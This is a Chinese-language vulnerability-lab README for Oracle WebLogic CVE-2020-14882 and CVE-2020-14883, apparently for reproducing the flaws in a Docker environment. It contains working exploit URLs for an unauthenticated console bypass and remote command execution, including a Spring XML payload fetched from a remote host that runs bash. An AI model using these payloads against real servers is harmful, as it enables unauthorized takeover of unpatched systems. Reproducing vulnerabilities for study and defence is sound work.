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weblogic/CVE-2020-14882/README.zh-cn.md
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weblogic/CVE-2020-14882/README.zh-cn.md
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# Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
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Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
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CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
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参考链接:
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- https://www.oracle.com/security-alerts/cpuoct2020traditional.html
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- https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
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## 漏洞环境
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执行如下命令启动一个Weblogic 12.2.1.3版本的服务器:
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```
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docker compose up -d
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```
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启动完成后,访问`http://your-ip:7001/console`即可查看到后台登录页面。
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## 漏洞复现
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首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
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```
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http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
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```
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访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:
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此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过`com.tangosol.coherence.mvel2.sh.ShellSession`,二是通过`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`。
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直接访问如下URL,即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`执行命令:
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```
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http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
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```
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进入容器,可以发现`touch /tmp/success1`已成功执行:
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这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在`com.tangosol.coherence.mvel2.sh.ShellSession`类。
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`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
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首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如`http://example.com/rce.xml`:
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```xml
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<?xml version="1.0" encoding="UTF-8" ?>
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<beans xmlns="http://www.springframework.org/schema/beans"
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xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
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<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
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<constructor-arg>
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<list>
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<value>bash</value>
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<value>-c</value>
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<value><![CDATA[touch /tmp/success2]]></value>
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</list>
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</constructor-arg>
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</bean>
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</beans>
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```
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然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
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```
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http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
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```
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这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。
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